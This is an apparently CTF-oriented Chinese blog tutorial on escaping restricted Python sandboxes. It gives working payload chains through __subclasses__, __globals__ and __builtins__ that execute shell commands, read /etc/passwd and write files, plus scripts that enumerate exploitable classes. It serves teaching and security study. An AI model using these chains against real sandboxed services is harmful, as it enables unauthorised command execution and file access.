python的沙箱逃匿

admin 2022年1月6日01:40:29评论75 views字数 45005阅读150分1秒阅读模式

沙箱逃逸就是在在一个严格限制的python环境中,通过绕过限制和过滤达到执行更高权限,甚至getshell的过程 。

执行模块

执行命令的模块

1
2
3
4
5
6
os
timeit
plarform
subprocess
pty
commands

os模块
os,语义为操作系统,模块提供了访问多个操作系统服务的功能,可以处理文件和目录。

1
2
3
4
5
6
7
os模块
import os
# 执行shell命令不会返回shell的输出
os.system('whoami')
# 会产生返回值,可通过read()的方式读取返回值
os.popen("whoami").read()
commands模块

timeit模块

1
2
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

plarform模块

1
2
import platform
print platform.popen('dir').read()

subprocess模块

1
2
3
4
5
6
7
8
import subprocess
subprocess.call('dir',shell=True)
subprocess.Popen('dir', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()
#stdin, stdout, stderr: 分别表示程序标准输入、输出、错误句柄。

python3
import subprocess
subprocess.run('dir',shell=True)

pty模块

1
2
3
#仅限Linux环境
import pty
pty.spawn("ls")

commands模块
commands模块会返回命令的输出和执行的状态位,仅限Linux环境

1
2
3
4
import commands
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("ls")

文件读取的模块

1
2
3
4
file
open
codecs
fileinput

file()函数
该函数只存在于Python2,Python3不存在

1
2
file('/etc/passwd').read()
file('test.txt','w').write('xxx')

open()函数

1
open('text.txt').read()

codecs模块

1
2
import codecs
codecs.open('test.txt').read()

获取当前Python环境信息

sys模块

1
2
3
4
import sys
sys.version
sys.path
sys.modules

执行函数

exec(),eval(),execfile(),compile()函数

1
2
3
4
5
eval('__import__("os").system("ls")')
exec('__import__("os").system("ls")')
eval()函数只能计算单个表达式的值,而exec()函数可以动态运行代码段。
eval()函数可以有返回值,而exec()函数返回值永远为None
compile('a = 1 + 2', '<string>', 'exec')

sys模块
该模块通过modules()函数引入命令执行模块来实现:

1
2
import sys
sys.modules['os'].system('calc')

内联函数

1
2
3
4
5
6
7
8
9
10
# 下面代码可列出所有的内联函数
dir(__builtins__)
# Python3有一个builtins模块,可以导入builtins模块后通过dir函数查看所有的内联函数
import builtins
dir(builtins)


dir()函数
在没有参数的时候返回本地作用域中的名称列表
在有参数的时候返回该对象的有效属性列表

魔术函数

python沙箱逃逸还是离不开继承关系和子父类关系,在查看和使用类的继承,魔法函数起到了不可比拟的作用。

1
2
3
4
5
6
7
8
9
__class__ 返回一个实例所属的类
__mro__ 查看类继承的所有父类,直到object
__subclasses__() 获取一个类的子类,返回的是一个列表
__bases__ 返回一个类直接所继承的类(元组形式)
__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
__globals__ 使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典
__getattribute__ 当类被调用的时候,无条件进入此函数。
__getattr__ 对象中不存在的属性时调用
__dict__ 返回所有属性,包括属性,方法等

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class A(object):
def __init__(self):
self.name = "Bob"
print('ok')
def __getattribute__(self,item):
print("getattribute")
def __getattr__(self):
print('getattr')
class B(A):
pass
class C(A):
pass
class D(B, C):
pass
a=A()
print(a.__class__)#__main__.A
print(D.__mro__)
print(B.__subclasses__())
print(B.__base__)
print(A.__init__.__globals__)
print(a.name)
print(a.age)

result:
ok
getattribute
None
(<class '__main__.D'>, <class '__main__.B'>, <class '__main__.C'>, <class '__main__.A'>, <type 'object'>)
[<class '__main__.D'>]
<class '__main__.A'>
{'A': <class '__main__.A'>, 'a': <__main__.A object at 0x0000000002C00F28>, 'C': <class '__main__.C'>, 'B': <class '__main__.B'>, 'D': <class '__main__.D'>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'G:\\ctf\\test.py', '__package__': None, '__name__': '__main__', '__doc__': None}
getattribute
None
getattribute
None

object类

对于支持继承的编程语言来说,其方法(属性)可能定义在当前类,也可能来自于基类,所以在方法调用时就需要对当前类和基类进行搜索以确定方法所在的位置。而搜索的顺序就是所谓的「方法解析顺序」(Method Resolution Order,或MRO)。

关于MRO的文章:http://hanjianwei.com/2013/07/25/python-mro/

python的主旨是一切变量皆对象
python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro____bases__两种方式来创建。
__mro__属性获取类的MRO(方法解析顺序),也就是继承关系。
__bases__属性可以获取上一层的继承关系,如果是多层继承则返回上一层的东西,可能有多个。

通过__mro____bases__两种方式创建object类

1
2
3
4
5
6
7
8
().__class__.__bases__[0]
{}.__class__.__bases__[0]
[].__class__.__mro__[1]

python3
''.__class__.__mro__[1]
python2
''.__class__.__mro__[2]

然后通过object类的__subclasses__()方法来获得当前环境下能够访问的所有对象,因为调用对象的 __subclasses__() 方法会返回当前环境中所有继承于该对象的对象.。Python2和Python3获取的结果不同。

1
{}.__class__.__bases__[0].__subclasses__()

常见的逃匿思路

常见逃逸思路
当函数被禁用时,就要通过一些类中的关系来引用被禁用的函数。一些常见的寻找特殊模块的方式如下所示:

1
2
3
4
5
6
7
8
9
10
* __class__:获得当前对象的类
* __bases__ :列出其基类
* __mro__ :列出解析方法的调用顺序,类似于bases
* __subclasses__():返回子类列表
* __dict__ : 列出当前属性/函数的字典
* func_globals:返回一个包含函数全局变量的字典引用
* 从().__class__.__bases__[0].__subclasses__()出发,查看可用的类
* 若类中有file,考虑读写操作
* 若类中有<class 'warnings.WarningMessage'>,考虑从.__init__.func_globals.values()[13]获取evalmap等等;又或者从.__init__.func_globals[linecache]得到os
* 若类中有<type 'file'>,<class 'ctypes.CDLL'>,<class 'ctypes.LibraryLoader'>,考虑构造so文件

获取object类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__


#python2
''.__class__.__mro__[2]

#python3
''.__class__.__mro__[1]

然后通过object类的__subclasses__()方法获取所有的子类列表

1
2
3
4
5
6
7
8
9
10
11
[].__class__.__mro__[1].__subclasses__()
{}.__class__.__mro__[1].__subclasses__()
().__class__.__mro__[1].__subclasses__()
{}.__class__.__bases__[0].__subclasses__()
().__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__()

#python2
''.__class__.__mro__[2].__subclasses__()
#python3
''.__class__.__mro__[1].__subclasses__()

找到重载过的__init__类,例如:

1
[].__class__.__mro__[1].__subclasses__()[59].__init__

在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。
python的沙箱逃匿
写个脚本帮我们来筛选出重载过的init类的类:

1
2
3
4
l=len([].__class__.__mro__[1].__subclasses__())
for i in range(l):
if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__):
print(i,[].__class__.__mro__[1].__subclasses__()[i])

result
python2:

1
2
3
4
5
6
7
8
(59, <class 'warnings.WarningMessage'>)
(60, <class 'warnings.catch_warnings'>)
(61, <class '_weakrefset._IterationGuard'>)
(62, <class '_weakrefset.WeakSet'>)
(72, <class 'site._Printer'>)
(74, <class 'site.Quitter'>)
(75, <class 'codecs.IncrementalEncoder'>)
(76, <class 'codecs.IncrementalDecoder'>)

python3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
64 <class '_frozen_importlib._ModuleLock'>
65 <class '_frozen_importlib._DummyModuleLock'>
66 <class '_frozen_importlib._ModuleLockManager'>
67 <class '_frozen_importlib._installed_safely'>
68 <class '_frozen_importlib.ModuleSpec'>
79 <class '_frozen_importlib_external.FileLoader'>
80 <class '_frozen_importlib_external._NamespacePath'>
81 <class '_frozen_importlib_external._NamespaceLoader'>
83 <class '_frozen_importlib_external.FileFinder'>
92 <class 'codecs.IncrementalEncoder'>
93 <class 'codecs.IncrementalDecoder'>
94 <class 'codecs.StreamReaderWriter'>
95 <class 'codecs.StreamRecoder'>
96 <class '_weakrefset._IterationGuard'>
97 <class '_weakrefset.WeakSet'>
118 <class 'os._wrap_close'>
119 <class '_sitebuiltins.Quitter'>
120 <class '_sitebuiltins._Printer'>

重载过的init类的类具有globals属性,这里以WarningMessage为例,会返回很多dict类型:

1
2
3
4
5
#python2
[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__

#python3
[].__class__.__mro__[1].__subclasses__()[64].__init__.__globals__

寻找keys中的builtins来查看引用,这里同样会返回很多dict类型:

1
2
#python2
[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']

再在keys中寻找可利用的函数即可,如file()函数为例:

1
2
#python2
[].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd.txt').read()

至此,整个元素链调用的构造过程就走了一遍了,下面看看还有哪些可利用的函数。
使用脚本遍历其他逃逸方法
Python2的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173

# coding=UTF-8

find_modules = {'filecmp': ['os', '__builtins__'], 'heapq': ['__builtins__'], 'code': ['sys', '__builtins__'],
'hotshot': ['__builtins__'], 'distutils': ['sys', '__builtins__'], 'functools': ['__builtins__'],
'random': ['__builtins__'], 'tty': ['sys', '__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],
'sysconfig': ['os', 'sys', '__builtins__'], 'whichdb': ['os', 'sys', '__builtins__'],
'runpy': ['sys', '__builtins__'], 'pty': ['os', 'sys', '__builtins__'],
'plat-atheos': ['os', 'sys', '__builtins__'], 'xml': ['__builtins__'], 'sgmllib': ['__builtins__'],
'importlib': ['sys', '__builtins__'], 'UserList': ['__builtins__'], 'tempfile': ['__builtins__'],
'mimify': ['sys', '__builtins__'], 'pprint': ['__builtins__'],
'platform': ['os', 'platform', 'sys', '__builtins__'], 'collections': ['__builtins__'],
'cProfile': ['__builtins__'], 'smtplib': ['__builtins__'], 'compiler': ['__builtins__', 'compile'],
'string': ['__builtins__'], 'SocketServer': ['os', 'sys', '__builtins__'],
'plat-darwin': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'sys', '__builtins__'],
'repr': ['__builtins__'], 'wave': ['sys', '__builtins__', 'open'], 'curses': ['__builtins__'],
'antigravity': ['__builtins__'], 'plat-irix6': ['os', 'sys', '__builtins__'],
'plat-freebsd6': ['os', 'sys', '__builtins__'], 'plat-freebsd7': ['os', 'sys', '__builtins__'],
'plat-freebsd4': ['os', 'sys', '__builtins__'], 'plat-freebsd5': ['os', 'sys', '__builtins__'],
'plat-freebsd8': ['os', 'sys', '__builtins__'], 'aifc': ['__builtins__', 'open'],
'sndhdr': ['__builtins__'], 'cookielib': ['__builtins__'], 'ConfigParser': ['__builtins__'],
'httplib': ['os', '__builtins__'], '_MozillaCookieJar': ['sys', '__builtins__'],
'bisect': ['__builtins__'], 'decimal': ['__builtins__'], 'cmd': ['__builtins__'],
'binhex': ['os', 'sys', '__builtins__'], 'sunau': ['__builtins__', 'open'],
'pydoc': ['os', 'sys', '__builtins__'], 'plat-riscos': ['os', 'sys', '__builtins__'],
'token': ['__builtins__'], 'Bastion': ['__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],
'shlex': ['os', 'sys', '__builtins__'], 'quopri': ['__builtins__'],
'multiprocessing': ['os', 'sys', '__builtins__'], 'dummy_threading': ['__builtins__'],
'dircache': ['os', '__builtins__'], 'asyncore': ['os', 'sys', '__builtins__'],
'pkgutil': ['os', 'sys', '__builtins__'], 'compileall': ['os', 'sys', '__builtins__'],
'SimpleHTTPServer': ['os', 'sys', '__builtins__'], 'locale': ['sys', '__builtins__'],
'chunk': ['__builtins__'], 'macpath': ['os', '__builtins__'], 'popen2': ['os', 'sys', '__builtins__'],
'mimetypes': ['os', 'sys', '__builtins__'], 'toaiff': ['os', '__builtins__'],
'atexit': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'],
'tabnanny': ['os', 'sys', '__builtins__'], 'HTMLParser': ['__builtins__'],
'encodings': ['codecs', '__builtins__'], 'BaseHTTPServer': ['sys', '__builtins__'],
'calendar': ['sys', '__builtins__'], 'mailcap': ['os', '__builtins__'],
'plat-unixware7': ['os', 'sys', '__builtins__'], 'abc': ['__builtins__'], 'plistlib': ['__builtins__'],
'bdb': ['os', 'sys', '__builtins__'], 'py_compile': ['os', 'sys', '__builtins__', 'compile'],
'pipes': ['os', '__builtins__'], 'rfc822': ['__builtins__'],
'tarfile': ['os', 'sys', '__builtins__', 'open'], 'struct': ['__builtins__'],
'urllib': ['os', 'sys', '__builtins__'], 'fpformat': ['__builtins__'],
're': ['sys', '__builtins__', 'compile'], 'mutex': ['__builtins__'],
'ntpath': ['os', 'sys', '__builtins__'], 'UserString': ['sys', '__builtins__'], 'new': ['__builtins__'],
'formatter': ['sys', '__builtins__'], 'email': ['sys', '__builtins__'],
'cgi': ['os', 'sys', '__builtins__'], 'ftplib': ['os', 'sys', '__builtins__'],
'plat-linux2': ['os', 'sys', '__builtins__'], 'ast': ['__builtins__'],
'optparse': ['os', 'sys', '__builtins__'], 'UserDict': ['__builtins__'],
'inspect': ['os', 'sys', '__builtins__'], 'mailbox': ['os', 'sys', '__builtins__'],
'Queue': ['__builtins__'], 'fnmatch': ['__builtins__'], 'ctypes': ['__builtins__'],
'codecs': ['sys', '__builtins__', 'open'], 'getopt': ['os', '__builtins__'], 'md5': ['__builtins__'],
'cgitb': ['os', 'sys', '__builtins__'], 'commands': ['__builtins__'],
'logging': ['os', 'codecs', 'sys', '__builtins__'], 'socket': ['os', 'sys', '__builtins__'],
'plat-irix5': ['os', 'sys', '__builtins__'], 'sre': ['__builtins__', 'compile'],
'ensurepip': ['os', 'sys', '__builtins__'], 'DocXMLRPCServer': ['sys', '__builtins__'],
'traceback': ['sys', '__builtins__'], 'netrc': ['os', '__builtins__'], 'wsgiref': ['__builtins__'],
'plat-generic': ['os', 'sys', '__builtins__'], 'weakref': ['__builtins__'],
'ihooks': ['os', 'sys', '__builtins__'], 'telnetlib': ['sys', '__builtins__'],
'doctest': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],
'smtpd': ['os', 'sys', '__builtins__'], '_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'],
'dis': ['sys', '__builtins__'], 'os': ['sys', '__builtins__', 'open'],
'pdb': ['os', 'sys', '__builtins__'], 'this': ['__builtins__'], 'base64': ['__builtins__'],
'os2emxpath': ['os', '__builtins__'], 'glob': ['os', 'sys', '__builtins__'],
'unittest': ['__builtins__'], 'dummy_thread': ['__builtins__'],
'fileinput': ['os', 'sys', '__builtins__'], '__future__': ['__builtins__'],
'robotparser': ['__builtins__'], 'plat-mac': ['os', 'sys', '__builtins__'],
'_threading_local': ['__builtins__'], '_LWPCookieJar': ['sys', '__builtins__'],
'wsgiref.egg-info': ['os', 'sys', '__builtins__'], 'sha': ['__builtins__'],
'sre_constants': ['__builtins__'], 'json': ['__builtins__'], 'Cookie': ['__builtins__'],
'tokenize': ['__builtins__'], 'plat-beos5': ['os', 'sys', '__builtins__'],
'rexec': ['os', 'sys', '__builtins__'], 'lib-tk': ['__builtins__'], 'textwrap': ['__builtins__'],
'fractions': ['__builtins__'], 'sqlite3': ['__builtins__'], 'posixfile': ['__builtins__', 'open'],
'imaplib': ['subprocess', 'sys', '__builtins__'], 'xdrlib': ['__builtins__'],
'imghdr': ['__builtins__'], 'macurl2path': ['os', '__builtins__'],
'_osx_support': ['os', 'sys', '__builtins__'],
'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'],
'plat-netbsd1': ['os', 'sys', '__builtins__'], 'nturl2path': ['__builtins__'],
'tkinter': ['__builtins__'], 'copy': ['__builtins__'], 'pickletools': ['__builtins__'],
'hashlib': ['__builtins__'], 'anydbm': ['__builtins__', 'open'], 'keyword': ['__builtins__'],
'timeit': ['timeit', 'sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],
'StringIO': ['__builtins__'], 'modulefinder': ['os', 'sys', '__builtins__'],
'stringprep': ['__builtins__'], 'markupbase': ['__builtins__'], 'colorsys': ['__builtins__'],
'shelve': ['__builtins__', 'open'], 'multifile': ['__builtins__'], 'sre_parse': ['sys', '__builtins__'],
'pickle': ['sys', '__builtins__'], 'plat-os2emx': ['os', 'sys', '__builtins__'],
'mimetools': ['os', 'sys', '__builtins__'], 'audiodev': ['__builtins__'], 'copy_reg': ['__builtins__'],
'sre_compile': ['sys', '__builtins__', 'compile'], 'CGIHTTPServer': ['os', 'sys', '__builtins__'],
'idlelib': ['__builtins__'], 'site': ['os', 'sys', '__builtins__'],
'getpass': ['os', 'sys', '__builtins__'], 'imputil': ['sys', '__builtins__'],
'bsddb': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],
'numbers': ['__builtins__'], 'io': ['__builtins__', 'open'],
'plat-sunos5': ['os', 'sys', '__builtins__'], 'symtable': ['__builtins__'],
'pyclbr': ['sys', '__builtins__'], 'shutil': ['os', 'sys', '__builtins__'], 'lib2to3': ['__builtins__'],
'threading': ['__builtins__'], 'dbhash': ['sys', '__builtins__', 'open'],
'gettext': ['os', 'sys', '__builtins__'], 'dumbdbm': ['__builtins__', 'open'],
'_weakrefset': ['__builtins__'], '_abcoll': ['sys', '__builtins__'], 'MimeWriter': ['__builtins__'],
'test': ['__builtins__'], 'opcode': ['__builtins__'], 'csv': ['__builtins__'],
'nntplib': ['__builtins__'], 'profile': ['os', 'sys', '__builtins__'],
'genericpath': ['os', '__builtins__'], 'stat': ['__builtins__'], '__phello__.foo': ['__builtins__'],
'sched': ['__builtins__'], 'statvfs': ['__builtins__'], 'trace': ['os', 'sys', '__builtins__'],
'warnings': ['sys', '__builtins__'], 'symbol': ['__builtins__'], 'sets': ['__builtins__'],
'htmlentitydefs': ['__builtins__'], 'urllib2': ['os', 'sys', '__builtins__'],
'SimpleXMLRPCServer': ['os', 'sys', '__builtins__'], 'sunaudio': ['__builtins__'],
'pdb.doc': ['os', '__builtins__'], 'asynchat': ['__builtins__'], 'user': ['os', '__builtins__'],
'xmllib': ['__builtins__'], 'codeop': ['__builtins__'], 'plat-next3': ['os', 'sys', '__builtins__'],
'types': ['__builtins__'], 'argparse': ['__builtins__'], 'uuid': ['os', 'sys', '__builtins__'],
'plat-aix4': ['os', 'sys', '__builtins__'], 'plat-aix3': ['os', 'sys', '__builtins__'],
'ssl': ['os', 'sys', '__builtins__'], 'poplib': ['__builtins__'], 'xmlrpclib': ['__builtins__'],
'difflib': ['__builtins__'], 'urlparse': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],
'_strptime': ['__builtins__'], 'htmllib': ['__builtins__'], 'site-packages': ['__builtins__'],
'posixpath': ['os', 'sys', '__builtins__'], 'stringold': ['__builtins__'],
'gzip': ['os', 'sys', '__builtins__', 'open'], 'mhlib': ['os', 'sys', '__builtins__'],
'rlcompleter': ['__builtins__'], 'hmac': ['__builtins__']}
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(find_modules.keys() + target_modules + target_functions))
all_modules = list(set(find_modules.keys() + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]
# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
for f in all_targets:
if f == s:
if f in target_functions:
print(i, f)
elif f in all_modules:
target = find_modules[f]
sub_dict = subclasses[i].__dict__
for t in target:
if t in sub_dict:
print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.func_globals
for m in all_targets:
if m in more:
print(i, sub, m, find_modules.get(m))
except Exception as e:
pass
print('----------3-----------')
# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.func_globals.values()
for j, v in enumerate(more):
for f in all_targets:
try:
if f in v:
if f in target_functions:
print(i, j, sub, f)
elif f in all_modules:
target = find_modules.get(f)
sub_dict = v[f].__dict__
for t in target:
if t in sub_dict:
print(i, j, sub, f, target)
except Exception as e:
pass
except Exception as e:
pass
print('----------4-----------')
# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
# <class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,不具有通用性,本质上跟第一种方法类似
for i, sub in enumerate(subclasses):
try:
more = sub()._module.__builtins__
for f in all_targets:
if f in more:
print(i, f)
except Exception as e:
pass

下面简单归纳下遍历的4种方式:

第一种方式

序号为40,即file()函数,进行文件读取和写入,payload如下:

1
2
''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[40]('E:/test.txt', 'w').write('xxx')

这和前面元素链构造时给出的Demo有点区别:

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()

序号59是WarningMessage类,其具有globals属性,包含builtins,其中含有file()函数,属于第二种方式;而这里是直接在object类的所有子类中直接找到了file()函数的序号为40,直接调用即可。
第二种方式

先看序号为59的WarningMessage类有哪些而利用的模块或方法:

1
2
3
4
(59, <class 'warnings.WarningMessage'>, 'linecache', ['os', 'sys', '__builtins__'])
(59, <class 'warnings.WarningMessage'>, '__builtins__', None)
(59, <class 'warnings.WarningMessage'>, 'sys', None)
(59, <class 'warnings.WarningMessage'>, 'types', ['__builtins__'])

以linecache中的os为例,这里简单解释下工具的寻找过程依次如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 确认linecache
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache']
# 返回linecache字典中的所有键
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__
.keys()
# 在linecache字典的所有键中寻找os的序号,找到为12
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__
.keys().index('os')
# 更换keys()为values(),访问12序号的元素,并获取该os字典的所有键
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys()
# 在os字典的所有键中寻找system的序号,找到为79
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
# 执行os.system()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[79]('calc')

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# linecache利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('calc')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('calc')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['__builtins__']['__import__']('os').system('calc')

# __builtins__利用,包括__import__、file、open、execfile、eval、结合exec的compile等
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('E:/test.txt', 'w').write('hello')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['execfile']('E:/exp.py')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").system("calc")')
exec(''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['compile']('__import__("os").system("calc")', '<string>', 'exec'))

# sys利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].system('calc')

# types利用,后面还是通过__builtins__实现利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['types'].__dict__['__builtins__']['__import__']('os').system('calc')

序号为60的catch_warnings类利用payload同上。

序号为61、62的两个类均只有__builtins__可利用,利用payload同上。

序号为72、77的两个类_Printer和Quitter,相比前面的,没见过的有os和traceback,但只有os模块可利用:

1
2
# os利用
''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('calc')

序号为78、79的两个类IncrementalEncoder和IncrementalDecoder,相比前面的,没见过的有open:

1
2
3
# open利用
''.__class__.__mro__[2].__subclasses__()[78].__init__.__globals__['open']('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[78].__init__.__globals__['open']('E:/test.txt', 'w').write()

第三种方式
先看下序号为59的WarningMessage类:

1
2
3
4
5
6
(59, 13, <class 'warnings.WarningMessage'>, '__import__')
(59, 13, <class 'warnings.WarningMessage'>, 'file')
(59, 13, <class 'warnings.WarningMessage'>, 'compile')
(59, 13, <class 'warnings.WarningMessage'>, 'eval')
(59, 13, <class 'warnings.WarningMessage'>, 'open')
(59, 13, <class 'warnings.WarningMessage'>, 'execfile')

注意是通过values()函数中的数组序号来填写第二个数值实现调用,以下以eval为示例,其他的利用payload和前面的差不多就不再赘述了:

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").system("calc")')

其他类似修改即可。

第四种方式

这里只有一种序号,为60:

1
2
3
4
5
6
7
(60, '__import__')
(60, 'file')
(60, 'repr')
(60, 'compile')
(60, 'eval')
(60, 'open')
(60, 'execfile')

调用示例如下,其他类似修改即可:

1
''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc")

python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
# coding=UTF-8
# Python3
find_modules = {'asyncio': ['subprocess', 'sys', '__builtins__'], 'collections': ['__builtins__'],
'concurrent': ['__builtins__'], 'ctypes': ['__builtins__'], 'curses': ['__builtins__'],
'dbm': ['os', 'sys', '__builtins__', 'open'], 'distutils': ['sys', '__builtins__'],
'email': ['__builtins__'], 'encodings': ['codecs', 'sys', '__builtins__'],
'ensurepip': ['os', 'sys', '__builtins__'], 'html': ['__builtins__'], 'http': ['__builtins__'],
'idlelib': ['__builtins__'], 'importlib': ['sys', '__import__', '__builtins__'],
'json': ['codecs', '__builtins__'], 'lib2to3': ['__builtins__'],
'logging': ['os', 'sys', '__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],
'multiprocessing': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'], 'sqlite3': ['__builtins__'],
'test': ['__builtins__'], 'tkinter': ['sys', '__builtins__'], 'turtledemo': ['__builtins__'],
'unittest': ['__builtins__'], 'urllib': ['__builtins__'],
'venv': ['os', 'subprocess', 'sys', '__builtins__'], 'wsgiref': ['__builtins__'],
'xml': ['__builtins__'], 'xmlrpc': ['__builtins__'], '__future__': ['__builtins__'],
'__phello__.foo': ['__builtins__'], '_bootlocale': ['sys', '__builtins__'],
'_collections_abc': ['sys', '__builtins__'], '_compat_pickle': ['__builtins__'],
'_compression': ['__builtins__'], '_dummy_thread': ['__builtins__'], '_markupbase': ['__builtins__'],
'_osx_support': ['os', 'sys', '__builtins__'], '_pydecimal': ['__builtins__'],
'_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'], '_sitebuiltins': ['sys', '__builtins__'],
'_strptime': ['__builtins__'], '_threading_local': ['__builtins__'], '_weakrefset': ['__builtins__'],
'abc': ['__builtins__'], 'aifc': ['__builtins__', 'open'], 'antigravity': ['__builtins__'],
'argparse': ['__builtins__'], 'ast': ['__builtins__'], 'asynchat': ['__builtins__'],
'asyncore': ['os', 'sys', '__builtins__'], 'base64': ['__builtins__'],
'bdb': ['os', 'sys', '__builtins__'], 'binhex': ['os', '__builtins__'], 'bisect': ['__builtins__'],
'bz2': ['os', '__builtins__', 'open'], 'cProfile': ['__builtins__'],
'calendar': ['sys', '__builtins__'], 'cgi': ['os', 'sys', '__builtins__'],
'cgitb': ['os', 'sys', '__builtins__'], 'chunk': ['__builtins__'], 'cmd': ['sys', '__builtins__'],
'code': ['sys', '__builtins__'], 'codecs': ['sys', '__builtins__', 'open'], 'codeop': ['__builtins__'],
